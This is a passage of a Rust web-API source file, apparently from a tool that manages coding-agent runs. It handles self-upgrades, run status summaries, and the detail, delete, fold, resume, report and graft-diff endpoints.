2866 let amount: u64 = rest[..n].parse().ok()?;
2867 let scale = match rest[n..].chars().next()? {
2868 's' => 1,
2869 'm' => 60,
2870 'h' => 3600,
2871 'd' => 86400,
2872 _ => return None,
2873 };
2874 total = total.checked_add(amount.checked_mul(scale)?)?;
2875 rest = rest[n + 1..].trim_start();
2876 }
2877 Some(total)
2878}
2879
2880#[derive(Debug, Clone, Serialize)]
2881struct UpgradeRequestFailure {
2882 occurred_at: String,
2883 error: String,
2884 retry_after_secs: Option<u64>,
2885 retry_at: Option<u64>,
2887}
2888
2889impl UpgradeRequestFailure {
2890 fn new(error: String) -> Self {
2891 let retry_after_secs = upgrade_retry_after(&error);
2892 let now = std::time::SystemTime::now()
2893 .duration_since(std::time::UNIX_EPOCH)
2894 .unwrap_or_default()
2895 .as_secs();
2896 Self {
2897 occurred_at: jiff::Timestamp::now().to_string(),
2898 error,
2899 retry_after_secs,
2900 retry_at: retry_after_secs.and_then(|s| now.checked_add(s)),
2901 }
2902 }
2903}
2904
2905async fn upgrade_post(State(ui): State<Arc<Ui>>) -> Response {
2918 let reading = daemon::read_status(&ui.home);
2919 if let Some(other) = Foreign::of(reading.as_ref()) {
2920 return ApiError::conflict(format!(
2921 "{} is a legacy scheduler without detached restart support. \
2922 Finish or explicitly park its work in the existing UI before \
2923 this first migration; independent schedulers do not need this.",
2924 other.who()
2925 ))
2926 .into_response();
2927 }
2928
2929 let Ok(_gate) = Arc::clone(&ui.upgrade_gate).try_lock_owned() else {
2934 return ApiError::conflict("another request is already preparing an upgrade")
2935 .into_response();
2936 };
2937 finish_upgrade_request(&ui, upgrade_prepare(&ui).await)
2940}
2941
2942fn finish_upgrade_request(ui: &Ui, result: ApiResult<(StatusCode, Json<UpgradeView>)>) -> Response {
2943 match result {
2944 Ok(out) => {
2945 *ui.upgrade_request_error
2946 .lock()
2947 .unwrap_or_else(PoisonError::into_inner) = None;
2948 out.into_response()
2949 }
2950 Err(error) if error.status != StatusCode::CONFLICT => {
2951 let failure = UpgradeRequestFailure::new(error.message);
2952 *ui.upgrade_request_error
2953 .lock()
2954 .unwrap_or_else(PoisonError::into_inner) = Some(failure.clone());
2955 let mut response = (error.status, Json(&failure)).into_response();
2956 if let Some(value) = failure
2957 .retry_after_secs
2958 .and_then(|secs| secs.to_string().parse().ok())
2959 {
2960 response.headers_mut().insert("retry-after", value);
2961 }
2962 response
2963 }
2964 Err(error) => error.into_response(),
2965 }
2966}
2967
2968async fn upgrade_prepare(ui: &Arc<Ui>) -> ApiResult<(StatusCode, Json<UpgradeView>)> {
2969 if ui.upgrade_spawned.load(std::sync::atomic::Ordering::SeqCst) {
2970 return Err(ApiError::conflict(
2971 "an upgrade is already in progress (this process started one and it \
2972 has not finished or failed yet)",
2973 ));
2974 }
2975 let recorded = updater::read_progress(&ui.home);
2976 if let Some(p) = upgrade_in_motion(recorded.as_ref()) {
2977 return Err(ApiError::conflict(format!(
2978 "an upgrade is already in progress (stage: {}, {} -> {}). If it \
2979 stays stuck, restart the deck; on start it settles a stale record.",
2980 p.stage.as_str(),
2981 p.from,
2982 p.to.as_deref().unwrap_or("?"),
2983 )));
2984 }
2985
2986 if crate::updater::disabled_by_env() {
2992 return Ok((
2993 StatusCode::OK,
2994 Json(UpgradeView {
2995 from: env!("CARGO_PKG_VERSION").to_owned(),
2996 to: None,
2997 detail: format!(
2998 "Automatic updates are disabled by {}. Nothing was parked \
2999 and nothing restarted.",
3000 crate::updater::NO_AUTOUPDATE_ENV
3001 ),
3002 }),
3003 ));
3004 }
3005
3006 let (cfg, _) = Config::discover(&ui.repo, None).unwrap_or_default();
3009 let from = env!("CARGO_PKG_VERSION").to_owned();
3010 let latest = match crate::updater::Checker::new(&cfg.update) {
3011 Some(checker) => checker.newer_release().await,
3012 None => Ok(None),
3013 };
3014 upgrade_checked(ui, from, latest)
3015}
3016
3017fn upgrade_checked(
3018 ui: &Arc<Ui>,
3019 from: String,
3020 latest: anyhow::Result<Option<kaishin::LatestRelease>>,
3021) -> ApiResult<(StatusCode, Json<UpgradeView>)> {
3022 let latest = latest.map_err(|e| ApiError::internal(format!("check for a release: {e:#}")))?;
3023 let Some(latest) = latest else {
3024 return Ok((
3025 StatusCode::OK,
3026 Json(UpgradeView {
3027 from,
3028 to: None,
3029 detail: "Already on the newest release. Nothing was parked \
3030 and nothing restarted."
3031 .to_owned(),
3032 }),
3033 ));
3034 };
3035
3036 let detail = "Downloading the release, then restarting web and scheduler. Active task and chat workers keep running on their started executable; nothing is parked.".to_owned();
3037
3038 let progress = updater::Progress::new(from.clone(), latest.tag_name.clone());
3042 updater::write_progress_logged(&ui.home, &progress);
3043
3044 let home = ui.home.clone();
3045 ui.upgrade_spawned
3046 .store(true, std::sync::atomic::Ordering::SeqCst);
3047 let spawned = Arc::clone(&ui.upgrade_spawned);
3048 tokio::spawn(async move {
3049 if let Err(e) = upgrade_and_restart(home.clone()).await {
3050 tracing::error!("the upgrade did not complete: {e:#}");
3051 let _ = updater::fail_progress(&home, &format!("{e:#}"));
3055 spawned.store(false, std::sync::atomic::Ordering::SeqCst);
3057 }
3058 });
3059
3060 Ok((
3061 StatusCode::ACCEPTED,
3062 Json(UpgradeView {
3063 from,
3064 to: Some(latest.tag_name),
3065 detail,
3066 }),
3067 ))
3068}
3069
3070async fn upgrade_and_restart(home: PathBuf) -> Result<()> {
3075 crate::updater::run_self_update(true, false, true).await?;
3078 updater::log_step(&home, "binary replaced - recording the replaced stage");
3079 if let Some(mut progress) = updater::read_progress(&home) {
3080 progress.advance(updater::Stage::Replaced);
3081 updater::write_progress_logged(&home, &progress);
3082 }
3083 updater::log_step(&home, "upgrade_and_restart: signalling HANDOVER");
3084 HANDOVER.notify_one();
3085 updater::log_step(&home, "upgrade_and_restart: HANDOVER signalled");
3086 Ok(())
3087}
3088
3089#[derive(Debug, Serialize)]
3095struct RunSummary {
3096 id: String,
3097 short: String,
3098 status: String,
3099 done: bool,
3100 instruction: String,
3101 title: String,
3102 repo: String,
3103 repo_name: String,
3104 created_at: String,
3105 updated_at: String,
3106 candidates: usize,
3107 viable: usize,
3108 judges: usize,
3109 winner: Option<char>,
3110 reviews: usize,
3111 quota_losses: usize,
3112 event: Option<String>,
3113 superseded_by: Option<String>,
3118 waiting: bool,
3125 live: crate::run::Liveness,
3129 pr: Option<crate::run::PrRecord>,
3131 unmerged_by_design: bool,
3137 #[serde(default)]
3140 display_status: String,
3141 #[serde(default)]
3144 badge_status: String,
3145 origin_label: String,
3148}
3149
3150impl RunSummary {
3151 fn of(state: &RunState, waiting: bool, live: crate::run::Liveness) -> Self {
3152 Self {
3153 id: state.id.clone(),
3154 short: state.short().to_owned(),
3155 status: status_word(state.status),
3156 done: state.status.done(),
3157 unmerged_by_design: state.unmerged_by_design(),
3158 display_status: run_display_status(state, waiting, live),
3159 badge_status: run_display_status(state, waiting, live),
3160 instruction: state.instruction.clone(),
3161 title: title_from(&state.instruction, TITLE_MAX),
3162 repo: state.repo.display().to_string(),
3163 repo_name: state
3164 .repo
3165 .file_name()
3166 .map(|n| n.to_string_lossy().into_owned())
3167 .unwrap_or_default(),
3168 created_at: state.created_at.to_string(),
3169 updated_at: state.updated_at.to_string(),
3170 candidates: state.candidates.len(),
3171 viable: state.viable().len(),
3172 judges: state.config.graph.judges,
3173 winner: state.winner().map(|c| c.label),
3174 reviews: state.reviews.len(),
3175 quota_losses: state.quota.len(),
3176 event: state.events.last().map(|e| e.message.clone()),
3177 waiting,
3178 live,
3179 superseded_by: None,
3182 pr: state.pr.clone(),
3183 origin_label: crate::run::origin_label(state.origin.as_ref()),
3184 }
3185 }
3186}
3187
3188fn status_word(status: RunStatus) -> String {
3191 status.as_str().to_owned()
3195}
3196
3197fn run_display_status(state: &RunState, waiting: bool, live: crate::run::Liveness) -> String {
3203 if waiting {
3204 return "waiting".to_owned();
3205 }
3206 if state.unmerged_by_design() {
3207 return "unmerged".to_owned();
3208 }
3209 if !state.status.done() && live == crate::run::Liveness::Dead {
3210 if state.parked {
3213 return "parked".to_owned();
3214 }
3215 return "stale".to_owned();
3216 }
3217 status_word(state.status)
3218}
3219
3220fn run_badge_status(
3228 state: &RunState,
3229 display_status: &str,
3230 live: crate::run::Liveness,
3231 superseded: bool,
3232) -> String {
3233 if state.status.done() || live == crate::run::Liveness::Live {
3234 return display_status.to_owned();
3235 }
3236 if superseded {
3237 return "superseded".to_owned();
3238 }
3239 if live == crate::run::Liveness::Dead && !matches!(display_status, "parked" | "waiting") {
3243 return "stale".to_owned();
3244 }
3245 display_status.to_owned()
3246}
3247
3248#[derive(Debug, Deserialize)]
3250struct ListQuery {
3251 #[serde(default)]
3252 limit: Option<usize>,
3253 ids: Option<String>,
3255}
3256
3257impl ListQuery {
3258 fn contains(&self, id: &str) -> bool {
3259 self.ids
3260 .as_ref()
3261 .is_none_or(|ids| ids.split(',').any(|wanted| wanted == id))
3262 }
3263}
3264
3265async fn runs_list(
3266 State(ui): State<Arc<Ui>>,
3267 Query(q): Query<ListQuery>,
3268) -> ApiResult<Json<Vec<RunSummary>>> {
3269 let limit = q.limit.unwrap_or(LIST_DEFAULT).min(LIST_MAX);
3270 blocking(move || {
3271 let (open_runs, claimed, superseded) = run_row_inputs(&ui);
3272 let states = run_ids(&ui.runs)
3273 .into_iter()
3274 .filter_map(|id| read_run(&ui.runs, &id).ok())
3279 .take(limit)
3280 .filter(|run| q.contains(&run.id));
3281 let probe = std::cell::RefCell::new(crate::proc::ProcProbe::real());
3282 let summaries = summarize(
3283 states,
3284 &open_runs,
3285 &claimed,
3286 &superseded,
3287 |p| probe.borrow_mut().status(p),
3288 |p| probe.borrow_mut().started_at(p),
3289 );
3290 Ok(Json(summaries))
3291 })
3292 .await
3293}
3294
3295fn run_row_inputs(ui: &Ui) -> (HashSet<String>, HashSet<String>, HashMap<String, String>) {
3300 let open_runs: HashSet<String> = ui
3301 .questions
3302 .list()
3303 .into_iter()
3304 .filter(|q| q.status.open())
3305 .map(|q| q.run)
3306 .collect();
3307 let claimed: HashSet<String> = crate::daemon::current_work(&ui.home, jiff::Timestamp::now())
3308 .into_iter()
3309 .map(|c| c.run)
3310 .collect();
3311 (open_runs, claimed, ui.queue.superseded())
3312}
3313
3314fn summarize<I, S, D>(
3320 states: I,
3321 open_runs: &HashSet<String>,
3322 claimed: &HashSet<String>,
3323 superseded: &HashMap<String, String>,
3324 mut status_q: S,
3325 mut identity_q: D,
3326) -> Vec<RunSummary>
3327where
3328 I: IntoIterator<Item = RunState>,
3329 S: FnMut(u32) -> Option<bool>,
3330 D: FnMut(u32) -> Option<String>,
3331{
3332 states
3333 .into_iter()
3334 .map(|state| {
3335 let waiting = open_runs.contains(&state.id);
3336 let live =
3337 state.liveness_with(claimed.contains(&state.id), &mut status_q, &mut identity_q);
3338 let mut row = RunSummary::of(&state, waiting, live);
3339 row.superseded_by = state
3340 .pr_taken_over_by
3341 .as_ref()
3342 .or_else(|| superseded.get(&state.id))
3343 .map(String::as_str)
3344 .map(crate::run::short_of)
3345 .map(str::to_owned);
3346 row.badge_status = run_badge_status(
3347 &state,
3348 &row.display_status,
3349 live,
3350 row.superseded_by.is_some(),
3351 );
3352 row
3353 })
3354 .collect()
3355}
3356
3357#[derive(Debug, Serialize)]
3364struct RunDetailView {
3365 stop_reason: Option<String>,
3366 #[serde(flatten)]
3367 state: RunState,
3368 instruction_md: Vec<md::Node>,
3369 #[serde(flatten)]
3373 prose_md: RunProseMd,
3374 live: crate::run::Liveness,
3389 unmerged_by_design: bool,
3394 #[serde(default)]
3396 waiting: bool,
3397 #[serde(default)]
3399 display_status: String,
3400 #[serde(default)]
3402 badge_status: String,
3403 done: bool,
3408 superseded_by: Option<String>,
3416 latest_attempt: Option<LatestAttempt>,
3430 task: Option<TaskRef>,
3433 origin_label: String,
3437 pass_views: Vec<PassView>,
3440}
3441
3442#[derive(Debug, Serialize)]
3444struct TaskRef {
3445 id: String,
3446 short: String,
3447 title: String,
3448 source_label: String,
3450 source_link: Option<SourceLink>,
3452 status: &'static str,
3454 attempts: usize,
3455 max_attempts: usize,
3456 is_latest: bool,
3458 latest: Option<RunBrief>,
3460 finished_by: Option<RunBrief>,
3462 closed_by_hand: bool,
3464}
3465
3466#[derive(Debug, PartialEq, Eq, Serialize)]
3468struct SourceLink {
3469 kind: &'static str,
3471 id: String,
3473 href: String,
3475}
3476
3477fn encode_segment(raw: &str) -> String {
3479 let mut out = String::with_capacity(raw.len());
3480 for b in raw.bytes() {
3481 if b.is_ascii_alphanumeric() || matches!(b, b'-' | b'.' | b'_' | b'~') {
3482 out.push(b as char);
3483 } else {
3484 out.push_str(&format!("%{b:02X}"));
3485 }
3486 }
3487 out
3488}
3489
3490fn source_link(source: &Source) -> Option<SourceLink> {
3494 let Source::Agent { run, node } = source else {
3495 return None;
3496 };
3497 let (kind, route) = if node == crate::queue::CHAT_NODE {
3498 ("chat", "chat")
3499 } else {
3500 ("run", "runs")
3501 };
3502 Some(SourceLink {
3503 kind,
3504 id: run.clone(),
3505 href: id_links::page_href(route, run),
3506 })
3507}
3508
3509#[derive(Debug, Serialize, PartialEq)]
3511struct FollowUpParent {
3512 id: String,
3513 short: String,
3514 title: String,
3515 status: &'static str,
3517 href: String,
3518}
3519
3520#[derive(Debug, Serialize, PartialEq)]
3522struct FollowUpRun {
3523 id: String,
3524 short: String,
3525 status: Option<&'static str>,
3527 href: Option<String>,
3529}
3530
3531#[derive(Debug, Serialize, PartialEq)]
3534struct FollowUpOrigin {
3535 parent: Option<FollowUpParent>,
3537 run: FollowUpRun,
3538 pr: String,
3543 findings: Vec<String>,
3544 generation: u32,
3545}
3546
3547fn followup_origin(
3550 fu: &crate::queue::FollowUp,
3551 task: impl Fn(&str) -> Option<Task>,
3552 run: impl Fn(&str) -> Option<RunState>,
3553) -> FollowUpOrigin {
3554 let parent = fu
3555 .origin_task
3556 .as_deref()
3557 .and_then(task)
3558 .map(|t| FollowUpParent {
3559 short: t.short().to_owned(),
3560 href: format!("#/tasks/{}", encode_segment(&t.id)),
3561 status: t.status.as_str(),
3562 title: t.title,
3563 id: t.id,
3564 });
3565 let state = run(&fu.run);
3566 FollowUpOrigin {
3567 parent,
3568 run: FollowUpRun {
3569 short: run::short_of(&fu.run).to_owned(),
3570 status: state.as_ref().map(|s| s.status.as_str()),
3571 href: state
3572 .is_some()
3573 .then(|| format!("#/runs/{}", encode_segment(&fu.run))),
3574 id: fu.run.clone(),
3575 },
3576 pr: fu.pr.clone(),
3577 findings: fu.findings.clone(),
3578 generation: fu.generation,
3579 }
3580}
3581
3582#[derive(Debug, Serialize)]
3584struct RunBrief {
3585 id: String,
3586 short: String,
3587 status: Option<&'static str>,
3589 outcome: String,
3591 badge: Option<String>,
3593}
3594
3595fn task_outcome(
3598 task: &Task,
3599 this_run: &str,
3600 max_attempts: usize,
3601 read: impl Fn(&str) -> Option<RunState>,
3602) -> TaskRef {
3603 let max_attempts = task.effective_attempt_limit(max_attempts);
3604 let history = task_history(task, read);
3605 let brief = |h: &TaskRunView| RunBrief {
3606 id: h.id.clone(),
3607 short: h.short.clone(),
3608 status: h.status,
3609 outcome: h.exit.edge_label(h.status),
3610 badge: h.badge.clone(),
3611 };
3612 let is_latest = task.runs.last().is_none_or(|r| r == this_run);
3613 let latest = if is_latest {
3614 None
3615 } else {
3616 history.last().map(brief)
3617 };
3618 let done = task.status == TaskStatus::Done;
3619 let finished_by = done
3620 .then(|| {
3621 history
3622 .iter()
3623 .rev()
3624 .find(|h| {
3625 matches!(
3626 h.exit,
3627 RunExit::Merged | RunExit::Ready | RunExit::AlreadyInBase
3628 )
3629 })
3630 .map(brief)
3631 })
3632 .flatten();
3633 TaskRef {
3634 short: task.short().to_owned(),
3635 title: task.title.clone(),
3636 id: task.id.clone(),
3637 source_label: task.source.label(),
3638 source_link: source_link(&task.source),
3639 status: task.status.as_str(),
3640 attempts: task.attempts,
3641 max_attempts,
3642 is_latest,
3643 latest,
3644 closed_by_hand: done && finished_by.is_none(),
3645 finished_by,
3646 }
3647}
3648
3649#[derive(Debug, Serialize)]
3651struct LatestAttempt {
3652 id: String,
3653 short: String,
3654 resolved: bool,
3665 status: RunStatus,
3668 done: bool,
3670}
3671
3672#[derive(Debug, Default, Serialize)]
3674struct RunProseMd {
3675 advice_md: Option<AdviceMd>,
3677 candidate_summaries_md: Vec<Vec<md::Node>>,
3679 reviews_md: Vec<RoundMd>,
3681}
3682
3683#[derive(Debug, Default, Serialize)]
3684struct AdviceMd {
3685 synthesis: Vec<md::Node>,
3686 approaches: Vec<Vec<md::Node>>,
3688}
3689
3690#[derive(Debug, Default, Serialize)]
3691struct RoundMd {
3692 reviewers: Vec<ReviewerMd>,
3694 reconsideration: Vec<Vec<md::Node>>,
3696 fix: Option<FixMd>,
3697}
3698
3699#[derive(Debug, Default, Serialize)]
3700struct ReviewerMd {
3701 summary: Vec<md::Node>,
3702 findings: Vec<Vec<md::Node>>,
3704}
3705
3706#[derive(Debug, Default, Serialize)]
3707struct FixMd {
3708 notes: Vec<md::Node>,
3709 rejected: Vec<Vec<md::Node>>,
3711}
3712
3713fn run_prose_md(state: &RunState) -> RunProseMd {
3715 let nodes = |t: &str| md::to_nodes(t, &md::ImageBase::None);
3716 RunProseMd {
3717 advice_md: state.advice.as_ref().map(|a| AdviceMd {
3718 synthesis: nodes(a.synthesis.as_deref().unwrap_or("")),
3719 approaches: a
3720 .records
3721 .iter()
3722 .map(|r| nodes(r.proposal.as_ref().map_or("", |p| p.approach.as_str())))
3723 .collect(),
3724 }),
3725 candidate_summaries_md: state.candidates.iter().map(|c| nodes(&c.summary)).collect(),
3726 reviews_md: state
3727 .reviews
3728 .iter()
3729 .map(|round| RoundMd {
3730 reviewers: round
3731 .reviews
3732 .iter()
3733 .map(|rec| ReviewerMd {
3734 summary: nodes(&rec.summary),
3735 findings: rec.findings.iter().map(|f| nodes(&f.detail)).collect(),
3736 })
3737 .collect(),
3738 reconsideration: round
3739 .reconsideration
3740 .iter()
3741 .map(|rv| nodes(&rv.reason))
3742 .collect(),
3743 fix: round.fix.as_ref().map(|fix| FixMd {
3744 notes: nodes(&fix.notes),
3745 rejected: fix.rejected.iter().map(|r| nodes(&r.why)).collect(),
3746 }),
3747 })
3748 .collect(),
3749 }
3750}
3751
3752impl RunDetailView {
3753 fn of(
3754 state: RunState,
3755 waiting: bool,
3756 live: crate::run::Liveness,
3757 superseded_by: Option<String>,
3758 latest_attempt: Option<LatestAttempt>,
3759 task: Option<TaskRef>,
3760 ) -> Self {
3761 let display_status = run_display_status(&state, waiting, live);
3762 let stop_reason = crate::stop_reason::of(
3763 &state,
3764 latest_attempt.as_ref().map(|a| (a.id.as_str(), a.status)),
3765 );
3766 let badge_status = run_badge_status(&state, &display_status, live, superseded_by.is_some());
3767 Self {
3768 stop_reason,
3769 pass_views: state.passes.iter().map(|p| PassView::of(p, None)).collect(),
3770 instruction_md: md::to_nodes(&state.instruction, &md::ImageBase::None),
3771 prose_md: run_prose_md(&state),
3772 origin_label: crate::run::origin_label(state.origin.as_ref()),
3773 live,
3774 unmerged_by_design: state.unmerged_by_design(),
3775 waiting,
3776 display_status,
3777 badge_status,
3778 done: state.status.done(),
3779 superseded_by,
3780 latest_attempt,
3781 task,
3782 state,
3783 }
3784 }
3785}
3786
3787async fn run_core(
3789 State(ui): State<Arc<Ui>>,
3790 Path(id): Path<String>,
3791) -> ApiResult<Json<RunDetailView>> {
3792 blocking(move || {
3793 let id = resolve_run(&ui.runs, &id)?;
3794 let state = read_run(&ui.runs, &id)?;
3795 Ok(Json(RunDetailView::of(
3796 state,
3797 false,
3798 crate::run::Liveness::Unknown,
3799 None,
3800 None,
3801 None,
3802 )))
3803 })
3804 .await
3805}
3806
3807async fn run_detail(
3808 State(ui): State<Arc<Ui>>,
3809 Path(id): Path<String>,
3810) -> ApiResult<Json<RunDetailView>> {
3811 blocking(move || {
3812 let id = resolve_run(&ui.runs, &id)?;
3813 let state = read_run(&ui.runs, &id)?;
3814 let daemon_claims = crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now());
3815 let live = state.liveness(daemon_claims);
3816 crate::queue::record_ids(ui.questions.root(), "json")?;
3817 let waiting = ui
3818 .questions
3819 .list()
3820 .iter()
3821 .any(|q| q.run == id && q.status.open());
3822 let max_attempts = daemon::Opts::default().max_attempts;
3823
3824 let matching_task = ui.find_task_for_run(&id)?;
3825
3826 let superseded_by = state
3827 .pr_taken_over_by
3828 .clone()
3829 .or_else(|| {
3830 matching_task
3831 .as_ref()
3832 .and_then(|t| t.successor_of(&id).cloned())
3833 })
3834 .as_deref()
3835 .map(crate::run::short_of)
3836 .map(str::to_owned);
3837
3838 let latest_attempt = matching_task
3842 .as_ref()
3843 .and_then(|t| t.runs.last().filter(|last| **last != id).cloned())
3844 .and_then(|head_id| {
3845 read_run(&ui.runs, &head_id).ok().map(|head| LatestAttempt {
3846 short: head.short().to_owned(),
3847 resolved: matches!(head.status, RunStatus::Merged | RunStatus::Ready),
3848 status: head.status,
3849 done: head.status.done(),
3850 id: head.id,
3851 })
3852 });
3853
3854 let task = matching_task
3855 .map(|t| task_outcome(&t, &id, max_attempts, |r| read_run(&ui.runs, r).ok()));
3856
3857 Ok(Json(RunDetailView::of(
3858 state,
3859 waiting,
3860 live,
3861 superseded_by,
3862 latest_attempt,
3863 task,
3864 )))
3865 })
3866 .await
3867}
3868
3869async fn run_delete(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<StatusCode> {
3878 let (id, unreadable) = {
3879 let ui = Arc::clone(&ui);
3880 blocking(move || {
3881 let id = resolve_run(&ui.runs, &id)?;
3882 match read_run(&ui.runs, &id) {
3883 Ok(state) => {
3884 let in_flight =
3885 crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now());
3886 state
3887 .ensure_can_delete(in_flight)
3888 .map_err(|e| ApiError::conflict(format!("{e:#}")))?;
3889 let dir = ui.runs.join(&id);
3890 std::fs::remove_dir_all(&dir)
3891 .with_context(|| format!("remove run directory {}", dir.display()))?;
3892 Ok((id, false))
3893 }
3894 Err(_) => {
3895 if crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now()) {
3899 return Err(ApiError::conflict(format!(
3900 "run {id} is being worked on by a live daemon right now"
3901 )));
3902 }
3903 Ok((id, true))
3904 }
3905 }
3906 })
3907 .await?
3908 };
3909 if unreadable {
3910 crate::clean::fold_unreadable(&ui.runs, &ui.worktrees_root, &id)
3911 .await
3912 .map_err(|e| ApiError::internal(format!("{e:#}")))?;
3913 }
3914 let ui = Arc::clone(&ui);
3915 let done = id.clone();
3916 blocking(move || {
3917 ui.questions.abandon_for_run(
3920 &done,
3921 &format!("run {done} was deleted, so nothing is waiting for this answer"),
3922 )?;
3923 Ok(())
3924 })
3925 .await?;
3926 Ok(StatusCode::NO_CONTENT)
3927}
3928
3929async fn run_fold(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<Json<FoldView>> {
3953 let (id, state) = {
3954 let ui = Arc::clone(&ui);
3955 blocking(move || {
3956 let id = resolve_run(&ui.runs, &id)?;
3957 if crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now()) {
3958 return Err(ApiError::conflict(format!(
3959 "run {id} is being worked on by a live daemon right now"
3960 )));
3961 }
3962 let state = read_run(&ui.runs, &id).ok();
3963 Ok((id, state))
3964 })
3965 .await?
3966 };
3967 let removed = match state {
3968 Some(mut state) => {
3969 let removed = crate::graph::fold_run(&mut state, true, &ui.home)
3970 .await
3971 .map_err(|e| ApiError::internal(format!("{e:#}")))?;
3972 if removed.is_empty() {
3977 crate::clean::clear_abandoned_active(&mut state, &ui.home, jiff::Timestamp::now())
3978 .map_err(|e| ApiError::internal(format!("{e:#}")))?;
3979 }
3980 removed
3981 }
3982 None => crate::clean::fold_unreadable(&ui.runs, &ui.worktrees_root, &id)
3983 .await
3984 .map_err(|e| ApiError::internal(format!("{e:#}")))?,
3985 };
3986 Ok(Json(FoldView {
3987 run: id,
3988 removed_count: removed.len(),
3989 removed,
3990 }))
3991}
3992
3993#[derive(Debug, Serialize)]
3995struct FoldView {
3996 run: String,
3997 removed: Vec<String>,
3999 removed_count: usize,
4000}
4001
4002#[derive(Debug, Deserialize)]
4005struct FoldMergedBody {
4006 #[serde(default)]
4007 pr_url: String,
4008}
4009
4010async fn run_fold_merged(
4030 State(ui): State<Arc<Ui>>,
4031 Path(id): Path<String>,
4032 Json(body): Json<FoldMergedBody>,
4033) -> ApiResult<Json<FoldMergedView>> {
4034 let pr_url = body.pr_url.trim().to_owned();
4035 if pr_url.is_empty() {
4036 return Err(ApiError::bad_request("pr_url is required"));
4037 }
4038 let (id, mut state) = {
4039 let ui = Arc::clone(&ui);
4040 blocking(move || {
4041 let id = resolve_run(&ui.runs, &id)?;
4042 if crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now()) {
4043 return Err(ApiError::conflict(format!(
4044 "run {id} is being worked on by a live daemon right now"
4045 )));
4046 }
4047 let state = read_run(&ui.runs, &id)?;
4048 Ok((id, state))
4049 })
4050 .await?
4051 };
4052 let (before, after) = crate::land::correct_manual_merge(&mut state, &pr_url)
4053 .await
4054 .map_err(|e| ApiError::bad_request(format!("{e:#}")))?;
4055 let removed = crate::graph::fold_run(&mut state, true, &ui.home)
4056 .await
4057 .map_err(|e| ApiError::internal(format!("{e:#}")))?;
4058 Ok(Json(FoldMergedView {
4059 run: id,
4060 before: before.as_str().to_owned(),
4061 after: after.as_str().to_owned(),
4062 removed,
4063 }))
4064}
4065
4066#[derive(Debug, Serialize)]
4068struct FoldMergedView {
4069 run: String,
4070 before: String,
4072 after: String,
4074 removed: Vec<String>,
4076}
4077
4078async fn run_resume(
4098 State(ui): State<Arc<Ui>>,
4099 Path(id): Path<String>,
4100) -> ApiResult<(StatusCode, Json<RunSummary>)> {
4101 let admission = ui.begin_admission()?;
4102 admitted(admission, async move {
4103 let (id, state) = {
4104 let ui = Arc::clone(&ui);
4105 blocking(move || {
4106 let id = resolve_run(&ui.runs, &id)?;
4107 let state = read_run(&ui.runs, &id)?;
4108 Ok((id, state))
4109 })
4110 .await?
4111 };
4112 crate::resume::validate_unqueued(&ui.home, &id)
4113 .map_err(|e| ApiError::conflict(e.to_string()))?;
4114 let _resume = ui.begin_resume(&id)?;
4115
4116 crate::resume::start(&ui.home, id.clone())
4117 .await
4118 .map_err(ApiError::from)?;
4119 let queued = RunSummary::of(
4122 &state,
4123 !ui.questions.open_for(&id).is_empty(),
4124 state.liveness(daemon::is_working_on(&ui.home, &id, Timestamp::now())),
4125 );
4126 Ok((StatusCode::ACCEPTED, Json(queued)))
4127 })
4128 .await
4129}
4130
4131async fn run_report(
4132 State(ui): State<Arc<Ui>>,
4133 Path(id): Path<String>,
4134) -> ApiResult<impl IntoResponse> {
4135 let text = blocking(move || {
4136 let id = resolve_run(&ui.runs, &id)?;
4137 let state = read_run(&ui.runs, &id)?;
4141 let daemon_claims = crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now());
4142 let live = state.liveness(daemon_claims);
4143 Ok(format!(
4144 "{}{}",
4145 report::run(&state),
4146 report::active_seats(&state, live)
4147 ))
4148 })
4149 .await?;
4150 Ok(([(header::CONTENT_TYPE, "text/plain; charset=utf-8")], text))
4151}
4152
4153async fn run_report_json(
4157 State(ui): State<Arc<Ui>>,
4158 Path(id): Path<String>,
4159) -> ApiResult<Json<crate::report_view::RunReportView>> {
4160 let view = blocking(move || {
4161 let id = resolve_run(&ui.runs, &id)?;
4162 let state = read_run(&ui.runs, &id)?;
4163 let daemon_claims = crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now());
4164 let recovered = state.graft.as_ref().map(|_| {
4166 crate::graft_report::recover(&state, &crate::agent::artifacts_dir(&state.dir()))
4167 });
4168 Ok(crate::report_view::build_with(
4169 &state,
4170 state.liveness(daemon_claims),
4171 recovered.as_ref(),
4172 ))
4173 })
4174 .await?;
4175 Ok(Json(view))
4176}
4177
4178const GRAFT_DIFF_MAX: usize = 400 * 1024;
4180const GRAFT_DIFF_TIMEOUT: Duration = Duration::from_secs(15);
4182
4183async fn run_graft_diff(
4186 State(ui): State<Arc<Ui>>,
4187 Path(id): Path<String>,
4188) -> ApiResult<impl IntoResponse> {
4189 let (repo, pre, post) = blocking(move || {
4190 let id = resolve_run(&ui.runs, &id)?;
4191 let state = read_run(&ui.runs, &id)?;
4192 let g = state
4193 .graft
4194 .as_ref()
4195 .ok_or_else(|| ApiError::not_found("this run has no graft"))?;
4196 let post = g
4197 .post
4198 .clone()
4199 .ok_or_else(|| ApiError::not_found("the graft recorded no post-graft commit"))?;
4200 Ok((state.repo.clone(), g.pre.clone(), post))
4201 })
4202 .await?;
4203 let hex = |s: &str| (4..=64).contains(&s.len()) && s.chars().all(|c| c.is_ascii_hexdigit());
4204 if !hex(&pre) || !hex(&post) {
4205 return Err(ApiError::not_found("the recorded commits are not valid"));
4206 }
4207 let out = tokio::time::timeout(
4208 GRAFT_DIFF_TIMEOUT,
4209 crate::git::git_raw(
4210 &repo,
4211 &[
4212 "diff",
4213 "--no-color",
4214 "--no-ext-diff",
4215 "-M",
4216 &pre,
4217 &post,
4218 "--",
4219 ],
4220 ),
4221 )
4222 .await
4223 .map_err(|_| ApiError::not_found("git diff timed out"))?
4224 .map_err(|e| ApiError::not_found(format!("git diff failed: {e:#}")))?;
4225 if out.code != Some(0) {
4226 return Err(ApiError::not_found(
4227 "the recorded commits are no longer in the repository",
4228 ));
4229 }
4230 let mut body = out.stdout;
4231 if body.len() > GRAFT_DIFF_MAX {
4232 let mut cut = GRAFT_DIFF_MAX;
